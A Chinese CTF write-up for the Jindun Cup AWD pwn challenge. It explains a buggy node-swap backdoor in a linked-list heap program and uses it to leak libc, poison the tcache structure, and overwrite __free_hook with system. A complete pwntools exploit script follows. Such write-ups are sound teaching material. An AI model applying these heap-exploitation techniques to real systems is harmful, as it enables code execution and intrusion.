金盾杯 pwn awd

发布时间 2023-12-12 17:23:32作者: 何思泊河

金盾杯 pwn awd

难点就是利用链表控制节点,理清其中的关系

分析程序

在初始化程序时会申请一个 0x10chunk 作为一个头,在 add 中会申请三个堆块,第一个堆块就是用于存放第二个堆块的 id , size , address ,第二个堆块就是用于存放输入内容,第三个堆块就是存放第一个堆块的地址,和下一次申请的第三个堆块的地址。

用代码表示和下面一样

struct Chunk
{
  uint8_t idx;
  int size;
  char *content;
};
struct Node
{
    Chunk* data;  // 数据域
    struct Node *next;  //指针域,指向下一节点
} LinkList;

分析后门函数

调试发现后门函数其实就是两个节点的换位,但是实现的有点问题

问题一:没有删除原本的节点,比如原本是 a->b 执行后门后 a->b->a

问题二:换位后的 a 节点中的 chunkid 成员存在问题(可以调试发现 id 变成了 0x40,这个原因是因为是进入 tcache bin 后被 fd 指针覆盖了 )

可以通过上述的漏洞让第一个 a 进入 unsortbin 中,再利用第二个 a 得到 libc

调试发现最后一个的节点的 nexttcache_struct 但是大小是 0 无法申请出来,但是我们可以通过释放堆块进入 tcache bin 来改变 sizeid ,因为这个位置正好是存放 tcachefd 指针又不破话后面的 content 成员。image-20231212153142107

将这个堆块申请出来是 7 号堆块。

for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
add(7, 0x80, 'cccc')      #7

然后再释放掉两个堆块 07 ,利用 0 号堆块的地址改变 7 号堆块的 sizeid 。之所以 edit(0x10) 是因为 0 号堆块的最后一个字节是 0x10

delete(0)   
delete(7)   
payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)

下面就没有什么说的了。

exp

from tools import *
context(arch='amd64', log_level='debug')
fn="./pwn"
elf = ELF(fn)
libc = elf.libc
p=process(fn)
def menu(choice):
    p.sendlineafter('your choice:', str(choice))


def add(index, size, content):
    menu(1)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('chunk size: ', str(size))
    p.sendlineafter('content: ', content)


def show(index):
    menu(4)
    p.sendlineafter('chunk idx: ', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('content: ', content)


def delete(index):
    menu(2)
    p.sendlineafter('chunk idx: ', str(index))


def store(index):
    menu(666)
    p.sendlineafter('chunk idx: ', str(index))

add_p=0x17C2
delete_p=0x17CE
show_p=0x17E6
edit_p=0x17DA 
for i in range(9):
    add(i, 0x80, 'cccc')  #0 8

store(7)                  #0 9

for i in range(7):        #0 6
    delete(i)

delete(7)                 #7
show(0x40)                #9
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
log_addr('libc_base')

for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
debug(p,'pie',add_p,delete_p,show_p,edit_p,0x1B23)   
add(7, 0x80, 'cccc')      #7

delete(0)   
delete(7)   

payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)

add(0, 0x80, b'/bin/sh\x00' + p64(0) + p64(libc.sym['system']))
delete(0)

p.interactive()


参考 2023金盾杯awd pwn wp-CSDN博客